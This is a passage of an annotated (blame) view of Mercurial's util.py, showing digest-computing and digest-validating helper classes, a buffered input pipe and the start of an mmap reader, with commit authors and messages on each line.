22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	207 class digester(object):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	208 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	209
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	210 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	211
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	212 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	213 >>> d.update(b'foo')
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	214 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	215 ['md5', 'sha1']
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	216 >>> d[b'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	217 'acbd18db4cc2f85cedef654fccc4a4d8'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	218 >>> d[b'sha1']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	219 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	220 >>> digester.preferred([b'md5', b'sha1'])
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	221 'sha1'
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	222 """
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	223
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	224 def __init__(self, digests, s=''):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	225 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	226 for k in digests:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	227 if k not in DIGESTS:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	228 raise error.Abort(_('unknown digest type: %s') % k)
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	229 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	230 if s:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	231 self.update(s)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	232
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	233 def update(self, data):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	234 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	235 h.update(data)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	236
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	237 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	238 if key not in DIGESTS:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	239 raise error.Abort(_('unknown digest type: %s') % k)
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	240 return nodemod.hex(self._hashes[key].digest())
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	241
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	242 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	243 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	244
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	245 @staticmethod
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	246 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	247 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	248
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	249 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	250 if k in supported:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	251 return k
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	252 return None
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	253
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	254
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	255 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	256 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	257 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	258
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	259 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	260
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	261 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	262 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	263
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	264 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	265 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	266 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	267 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	268 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	269 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	270
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	271 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	272 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	273 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	274 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	275 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	276
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	277 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	278 if self._size != self._got:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	279 raise error.Abort(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	280 _('size mismatch: expected %d, got %d')
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	281 % (self._size, self._got)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	282 )
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	283 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	284 if v != self._digester[k]:
23076 c312ef382033 i18n: add hint to digest mismatch message Wagner Bruna <wbruna@softwareexpress.com.br> parents: 23030 diff changeset	285 # i18n: first parameter is a digest name
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	286 raise error.Abort(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	287 _('%s mismatch: expected %s, got %s')
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	288 % (k, v, self._digester[k])
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	289 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	290
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	291
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	292 try:
15657 d976b1ef6760 util: don't mess with builtins to emulate buffer() Matt Mackall <mpm@selenic.com> parents: 15656 diff changeset	293 buffer = buffer
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	294 except NameError:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	295
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	296 def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	297 if length is not None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	298 return memoryview(sliceable)[offset : offset + length]
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	299 return memoryview(sliceable)[offset:]
10756 cb681cc59a8d util: fake the builtin buffer if it's missing (jython) Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de> parents: 10487 diff changeset	300
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	301
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	302 _chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	303
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	304
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	305 class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	306 """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	307
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	308 Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	309 the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	310 that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	311
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	312 This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	313 (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	314 empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	315
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	316 This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	317 module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	318 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	319
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	320 def __new__(cls, fh):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	321 # If we receive a fileobjectproxy, we need to use a variation of this
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	322 # class that notifies observers about activity.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	323 if isinstance(fh, fileobjectproxy):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	324 cls = observedbufferedinputpipe
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	325
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	326 return super(bufferedinputpipe, cls).__new__(cls)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	327
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	328 def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	329 self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	330 self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	331 self._eof = False
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	332 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	333
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	334 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	335 def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	336 """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	337
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	338 This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	339 already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	340 return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	341
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	342 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	343 def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	344 return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	345
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	346 def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	347 return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	348
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	349 def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	350 return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	351
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	352 def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	353 while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	354 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	355 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	356
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	357 def unbufferedread(self, size):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	358 if not self._eof and self._lenbuf == 0:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	359 self._fillbuffer(max(size, _chunksize))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	360 return self._frombuffer(min(self._lenbuf, size))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	361
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	362 def readline(self, args, *kwargs):
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	363 if len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	364 # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	365 # _frombuffer call that collapse it.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	366 self._buffer = [''.join(self._buffer)]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	367 self._lenbuf = len(self._buffer[0])
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	368 lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	369 if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	370 lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	371 while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	372 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	373 if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	374 lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	375 size = lfi + 1
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	376 if lfi < 0: # end of file
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	377 size = self._lenbuf
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	378 elif len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	379 # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	380 size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	381 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	382
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	383 def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	384 """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	385
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	386 The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	387 if size == 0 or not self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	388 return ''
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	389 buf = self._buffer[0]
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	390 if len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	391 buf = ''.join(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	392
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	393 data = buf[:size]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	394 buf = buf[len(data) :]
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	395 if buf:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	396 self._buffer = [buf]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	397 self._lenbuf = len(buf)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	398 else:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	399 self._buffer = []
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	400 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	401 return data
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	402
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	403 def _fillbuffer(self, size=_chunksize):
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	404 """read data to the buffer"""
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	405 data = os.read(self._input.fileno(), size)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	406 if not data:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	407 self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	408 else:
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	409 self._lenbuf += len(data)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	410 self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	411
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	412 return data
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	413
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	414
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	415 def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	416 try:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	417 fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	418 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
